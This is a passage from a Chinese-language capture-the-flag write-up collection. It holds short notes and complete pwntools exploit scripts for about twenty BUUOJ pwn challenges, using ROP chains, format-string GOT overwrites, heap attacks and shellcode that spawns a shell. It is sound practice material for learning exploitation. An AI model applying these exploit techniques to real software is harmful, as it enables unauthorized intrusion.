).next () success("bin_sh" + hex (bin_sh)) offset = malloc_hook - top add(offset-0x30 , 'aaa\n' ) add(0x10 , 'a' *8 +p64(one_gadget)+p64(realloc+0x10 )) r.recvuntil("2:puts\n" ) r.sendline('1' ) r.recvuntil("size\n" ) r.sendline(str (20 )) r.interactive()
77.houseoforange_hitcon_2016(未完)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ``` ```python from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,29417 ) elf=ELF("./PicoCTF_2018_got-shell" ) puts_got=elf.got['puts' ] backdoor=0x804854B p.recvuntil("value?\n" ) p.sendline(hex (puts_got)) p.recv() p.sendline(hex (backdoor)) p.interactive()
79.picoctf_2018_can_you_gets_me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from struct import packr=remote("node4.buuoj.cn" ,29079 ) p = 'A' *(0x18 +4 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b81c6 ) p += '/bin' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b81c6 ) p += '//sh' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x080549db ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de955 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0806cc25 ) r.recvuntil("GIVE ME YOUR NAME!\n" ) r.sendline(p) r.interactive()
80.wdb_2018_2nd_easyfmt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,25859 ) libc = ELF("libc-2.23-32.so" ) elf=ELF("./wdb_2018_2nd_easyfmt" ) printf_got=elf.got['printf' ] p.recvuntil("Do you know repeater?\n" ) p.sendline(p32(printf_got)+"%6$s" ) printf_addr = u32(p.recvuntil("\xf7" )[-4 :]) success(hex (printf_addr)) libc_base=printf_addr-libc.sym['printf' ] system=libc_base+libc.sym['system' ] payload = fmtstr_payload(6 , {printf_got:system}) p.sendline(payload) p.sendline("/bin/sh\x00" ) p.interactive()
81.npuctf_2020_easyheap 第一次做tcache attack,其实和fastbin attack没啥区别
然后本题用了off by one,本题只让输入0x18和0x38个字节,就off by one制作堆重叠。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *p=remote("node4.buuoj.cn" ,25223 ) elf = ELF("./npuctf_2020_easyheap" ) libc = ELF("./libc-2.27-64.so" ) def add (size,content ): p.recvuntil('Your choice :' ) p.sendline('1' ) p.recvuntil(" : " ) p.sendline(str (size)) p.recvuntil("Content:" ) p.sendline(content) def fill (idx,content ): p.recvuntil('Your choice :' ) p.sendline('2' ) p.recvuntil('Index :' ) p.sendline(str (idx)) p.recvuntil('Content:' ) p.sendline(content) def dump (idx ): p.recvuntil('Your choice :' ) p.sendline('3' ) p.recvuntil('Index :' ) p.sendline(str (idx)) def free (idx ): p.recvuntil('Your choice :' ) p.sendline('4' ) p.recvuntil('Index :' ) p.sendline(str (idx)) heaparray=0x6020A0 atoi_got=elf.got['atoi' ] add(0x18 ,"aaa" ) add(0x18 ,"aaa" ) payload="a" *0x18 +p8(0x41 ) fill(0 ,payload) free(1 ) payload="a" *0x18 +p64(0x21 )+p64(0x18 )+p64(atoi_got) add(0x38 ,payload) dump(1 ) atoi=u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) base=atoi-libc.sym['atoi' ] system=base+libc.sym['system' ] fill(1 ,p64(system)) p.recvuntil('Your choice :' ) p.sendline('/bin/sh\x00' ) p.interactive()
82.ciscn_2019_final_3 2.27的tcache用unsorted bin泄漏时需要有一个size大于0x400。这道题限制最大只可以0x78,并且最多只能写0x18的chunk,所以我们可以考虑写满7个tcache bin,然后再写就会进入unsorted bin(但是本题只允许0x78,所以就算满了也只会加入fastbin)。或者使用tcache dup和uaf改值这两种方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *context.terminal = ['tmux' ,'splitw' ,'-h' ] file_name = './ciscn_final_3' r=remote('node4.buuoj.cn' , 28474 ) elf = ELF(file_name) libc = ELF('./libc-2.27-64.so' ) menu = 'choice > ' def add (index, size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('input the index' , str (index)) r.sendlineafter('input the size' , str (size)) r.sendlineafter('now you can write something' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('input the index' , str (index)) add(0 ,0x78 ,'a' ) r.recvuntil('gift :' ) heap_addr = int (r.recvline()[2 :],16 ) success('heap_addr = ' + hex (heap_addr)) add(1 ,0x18 ,'b' ) for i in range (2 , 12 ): add(i, 0x78 , 'aaaa' ) add(12 , 0x28 , 'd' ) delete(12 ) delete(12 ) add(13 , 0x28 , p64(heap_addr - 0x10 )) add(14 , 0x28 , p64(heap_addr - 0x10 )) add(15 , 0x28 , p64(0 ) + p64(0x421 )) delete(0 ) delete(1 ) add(16 , 0x78 , 'aaaa' ) add(17 , 0x10 , 'bbbb' ) add(18 , 0x10 , 'cccc' ) r.recvuntil('gift :' ) malloc_hook = int (r.recvline()[2 :],16 ) - 96 - 0x10 success('malloc_hook = ' + hex (malloc_hook)) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base delete(7 ) delete(7 ) add(19 , 0x78 , p64(free_hook)) add(20 , 0x78 , 'aaaa' ) add(21 , 0x78 , p64(one_gadget)) delete(9 ) r.interactive()
83.actf_2019_babystack 栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,27919 ) libc=ELF("libc-2.27-64.so" ) elf=ELF("./ACTF_2019_babystack" ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi=0x400ad3 p.recvuntil(">" ) p.sendline("224" ) leave_ret=0x400A18 p.recvuntil("be saved at " ) stack=int (p.recv(14 ), 16 ) payload="a" *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4008F6 ) payload = payload.ljust(0xD0 , 'a' ) payload=payload+p64(stack)+p64(leave_ret) p.send(payload) p.recvuntil('Byebye~\n' ) puts_addr = u64(p.recvuntil("\x7f" ).ljust(8 ,"\x00" )) success(hex (puts_addr)) base=puts_addr-libc.sym['puts' ] system=libc.sym['system' ]+base binsh=libc.search('/bin/sh' ).next ()+base sleep(4 ) one_gadget = base + 0x4f2c5 p.recvuntil(">" ) p.sendline("224" ) p.recvuntil("be saved at " ) stack=int (p.recv(14 ), 16 ) ret=0x400a4f payload="a" *8 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(0x4008F6 ) payload=payload.ljust(0xD0 , 'a' ) payload=payload+p64(stack)+p64(leave_ret) p.recvuntil(">" ) p.send(payload) p.interactive()
84.mrctf2020_easy_equation 格式化字符串
首先先写个python算一下judge的值
1 2 3 4 for judge in range (0 ,1000 ): if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ): print judge
偏移是第八个
需要在前面补一个值
1 2 3 4 5 6 from pwn import *p = remote("node4.buuoj.cn" ,28975 ) judge = 0x060105C payload = "BB%9$nAAA" +p64(judge) p.sendline(payload) p.interactive()
85.picoctf_2018_leak_me 这道题开始不能反汇编main函数,直接快捷键g跳转到有问题的函数处,先反汇编该函数,然后就可以反汇编main了。
可以看到密码和我们输入的name是放在一起的,所以只要填充完v6,我们能顺势把s的密码也输出来。
1 2 3 4 5 6 7 8 9 from pwn import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,28150 ) p.recvuntil("name?" ) p.sendline("a" ) p.recvuntil("Password." ) p.sendline("a_reAllY_s3cuRe_p4s$word_f85406" ) p.interactive()
86.suctf_2018_basic pwn 1 2 3 4 5 6 7 8 from pwn import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,28071 ) backdoor=0x401157 payload="a" *(0x110 +0x8 )+p64(backdoor) p.sendline(payload) p.interactive()
87.mrctf2020_shellcode_revenge 输入的长度大于0则跳转到到11AC
这里中转了一下,其实还是直接跳转到11B8
可以发现输入的ascii值大于0x30就不会被过滤
最后全部过滤完了就直接执行,所以我们需要可视化的shellcode。
1 2 3 4 5 6 from pwn import *context.arch='amd64' shellcode = asm(shellcraft.sh()) f = open ('a.bin' , 'wb' ) f.write(shellcode) f.close()
1 python ALPHA3.py x64 ascii mixedcase rax --input='./a.bin'
1 2 3 4 5 6 7 8 from pwn import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,29803 ) p.recvuntil("Show me your magic!" ) payload="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" p.send(payload) p.interactive()
88.inndy_echo
1 2 3 4 5 6 7 8 9 from pwn import *p=remote("node4.buuoj.cn" ,29685 ) printf=0x804A010 system=0x8048400 payload = fmtstr_payload(7 , {printf:system}) p.sendline(payload) p.sendline('/bin/sh\x00' ) p.interactive()
89.wustctf2020_name_your_cat
v3是溢出点
1 2 3 4 5 6 7 8 9 from pwn import *p=remote("node4.buuoj.cn" ,27456 ) shell=0x80485CB p.sendline('7' ) p.sendline(p32(shell)) for i in range (4 ): p.sendline('1' ) p.sendline('aaa' ) p.interactive()
90.ciscn_2019_es_1 call函数就是free函数,可以看到存在uaf
show函数
add函数,分配两个chunk,第一个*((_DWORD *)heap_addr[heap_number] + 2) = size
存放size,*v1 = malloc((unsigned int)size)
存放第二个chunk的地址,第二个chunk存放name。
考虑unsorted bin attack泄漏libc,先使用大于0x400的chunk填满tcache bin,然后直接常规利用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *p=remote("node4.buuoj.cn" ,26106 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./ciscn_2019_es_1" ) libc = ELF("./libc-2.27-64.so" ) def add (size,content,content2 ): p.recvuntil("choice:" ) p.sendline(str (1 )) p.recvuntil("name\n" ) p.sendline(str (size)) p.recvuntil("name:\n" ) p.sendline(content) p.recvuntil("call:\n" ) p.sendline(content2) def show (idx ): p.recvuntil("choice:" ) p.sendline(str (2 )) p.recvuntil("index:\n" ) p.sendline(str (idx)) def free (idx ): p.recvuntil("choice:" ) p.sendline(str (3 )) p.recvuntil("index:\n" ) p.sendline(str (idx)) add(0x410 ,"a" ,"a" ) add(0x20 ,"a" ,"a" ) add(0x20 ,"/bin/sh\x00" ,"a" ) free(0 ) show(0 ) main_arena = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) malloc_hook=main_arena-96 -0x10 libc_base=malloc_hook-libc.sym['__malloc_hook' ] system=libc_base+libc.sym['system' ] free_hook=libc_base +libc.sym['__free_hook' ] free(1 ) free(1 ) add(0x20 ,p64(free_hook),"a" ) add(0x20 ,p64(free_hook),"a" ) add(0x20 ,p64(system),"a" ) free(2 ) p.interactive()
91.cmcc_pwnme1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *p=remote("node4.buuoj.cn" ,26840 ) elf=ELF("pwnme1" ) p.sendline("5" ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] payload="a" *(0xA4 +4 )+p32(puts_plt)+p32(0x80486F4 )+p32(puts_got) p.sendline(payload) puts= u32(p.recvuntil('\xf7' )[-4 :]) success("puts: " +hex (puts)) libc=LibcSearcher('puts' ,puts) libc_base=puts-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload="a" *(0xA4 +4 )+p32(system)+p32(0x8048677 )+p32(binsh) p.recvuntil("Exit" ) p.sendline("5" ) p.sendline(payload) p.interactive()
92.axb_2019_brop64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *p=remote("node4.buuoj.cn" ,29185 ) elf=ELF("./axb_2019_brop64" ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] p.recvuntil("Please tell me:" ) pop_rdi=0x400963 payload="a" *(0xD0 +8 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4007D6 ) p.sendline(payload) puts_addr=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr-libc.dump("puts" ) system_addr = libc_base+libc.dump("system" ) binsh=libc_base+libc.dump('str_bin_sh' ) payload="a" *(0xD0 +8 )+p64(pop_rdi)+p64(binsh)+p64(system_addr)+p64(0x4007D6 ) p.recvuntil("Please tell me:" ) p.sendline(payload) p.interactive()
93.[极客大挑战 2019]Not Bad 沙箱orw,利用jmp rsp方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.arch='amd64' p=remote("node4.buuoj.cn" ,29392 ) addr=0x123000 shell=shellcraft.open ("./flag" ) shell+=shellcraft.read(3 ,addr+0x100 ,0x50 ) shell+=shellcraft.write(1 ,addr+0x100 ,0x50 ) shell=asm(shell) payload=asm(shellcraft.read(0 ,addr,0x100 ))+asm("mov rax,0x123000;jmp rax" ) jmp_rsp=0x400a01 payload=payload.ljust(0x28 ,'\x00' ) payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp' ) p.sendline(payload) p.sendline(shell) p.interactive()
94.wdb2018_guess stack smashing
存在canary的报错提示,__stack_chk_fail
函数会打印argv[0]
指针指向的字符串。我们只要通过栈溢出覆盖argv[0]
,就能输出任意信息。
同时第六行的aaa\n是我写的flag内容,但是不知道地址不能直接读取,但是我们可以通过泄漏libc获取__environ
函数得到偏移。
argv[0]与我们输入的偏移是0x128,我们先通过泄漏libc,然后获取__environ函数获得偏移,最后泄漏flag地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.arch='amd64' libc = ELF("./libc-2.23-64.so" ) elf=("./GUESS" ) p=remote("node4.buuoj.cn" ,28410 ) read_got=0x602040 payload="a" *0x128 +p64(read_got) p.recvuntil("guessing flag\n" ) p.sendline(payload) read = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) base = read-libc.sym['read' ] system = base+libc.sym['system' ] environ = base+libc.sym['__environ' ] p.recvuntil("guessing flag\n" ) payload="a" *0x128 +p64(environ) p.sendline(payload) stack=u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) info("0x" +hex (stack)) p.recvuntil("guessing flag\n" ) payload="a" *0x128 +p64(stack-0x168 ) p.sendline(payload) p.recv() p.interactive()
95.gyctf_2020_some_thing_exceting double free && uaf
这个题要注意的点是本题同时add/free2个chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *p=remote("node4.buuoj.cn" ,26032 ) elf = ELF("./gyctf_2020_some_thing_exceting" ) libc = ELF("./libc-2.23-64.so" ) def add (len ,index,len2,index2 ): p.recvuntil(":" ) p.sendline("1" ) p.recvuntil(": " ) p.sendline(str (len )) p.recvuntil(": " ) p.sendline(index) p.recvuntil(": " ) p.sendline(str (len2)) p.recvuntil(": " ) p.sendline(index2) def free (idx ): p.recvuntil(":" ) p.sendline("3" ) p.recvuntil(": " ) p.sendline(str (idx)) def show (idx ): p.recvuntil(":" ) p.sendline("4" ) p.recvuntil(": " ) p.sendline(str (idx)) flag=0x6020A8 -0x10 add(0x50 ,'vvvv' ,0x50 ,'vvvv' ) add(0x50 ,'vvvv' ,0x50 ,'vvvv' ) free(0 ) free(1 ) free(0 ) add(0x50 ,p64(flag),0x50 ,'AAA' ) add(0x50 ,'v' ,0x50 ,'v' ) add(0x50 ,'v' ,0x60 ,'v' ) show(0 ) p.interactive()
96.axb_2019_heap banner处存在格式化字符串,测试后发现偏移在第七个
gdb调试可以看见__libc_start_main+240
的偏移和main
的偏移分别是15和19
1 2 3 4 5 6 7 8 9 p.recvuntil("Enter your name: " ) p.sendline("%15$p.%19$p" ) main240=int (p.recvuntil("." )[-13 :-1 ],16 ) main=int (p.recvuntil("\n" )[-13 :],16 ) success(hex (main240)) success(hex (main)) libc_base=main240-libc.sym['libc_start_main' ]-240 base=main-0x116a
获取程序基地址之后可以考虑使用unlink了,因为存在note全局数组,然后free处清理的很干净不存在uaf
在edit处存在off by one漏洞
最终利用就是格式化字符串泄漏地址+off by one+unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *p=remote("node4.buuoj.cn" ,27203 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./axb_2019_heap" ) libc = ELF("./libc-2.23-64.so" ) def add (idx,len ,index ): p.recvuntil(">> " ) p.sendline("1" ) p.recvuntil(":" ) p.sendline(str (idx)) p.recvuntil("Enter a size:\n" ) p.sendline(str (len )) p.recvuntil("Enter the content: \n" ) p.sendline(index) def free (idx ): p.recvuntil(">> " ) p.sendline("2" ) p.recvuntil("Enter an index:\n" ) p.sendline(str (idx)) def edit (idx,index ): p.recvuntil(">> " ) p.sendline("4" ) p.recvuntil("Enter an index:\n" ) p.sendline(str (idx)) p.recvuntil("Enter the content: \n" ) p.sendline(index) p.recvuntil("Enter your name: " ) p.sendline("%15$p.%19$p" ) main240=int (p.recvuntil("." )[-13 :-1 ],16 ) main=int (p.recvuntil("\n" )[-13 :],16 ) success(hex (main240)) success(hex (main)) libc_base=main240-libc.sym['__libc_start_main' ]-240 base=main-0x116a system=libc_base+libc.sym["system" ] free_hook=libc_base+libc.sym["__free_hook" ] gdb.attach(p,"b *$rebase(0x119A)" ) add(0 ,0x98 ,"aaaa" ) add(1 ,0x90 ,"bbbb" ) note=base+0x202060 fd=note-0x18 bk=note-0x10 payload=p64(0 )+p64(0x90 ) payload+=p64(fd)+p64(bk) payload+="a" *0x70 payload+=p64(0x90 )+"\xa0" edit(0 ,payload) free(1 ) payload=p64(0 )*3 +p64(free_hook) payload+=p64(0x98 )+p64(note+0x18 )+"/bin/sh\x00" edit(0 ,payload) payload=p64(system) edit(0 ,payload) free(1 ) p.interactive()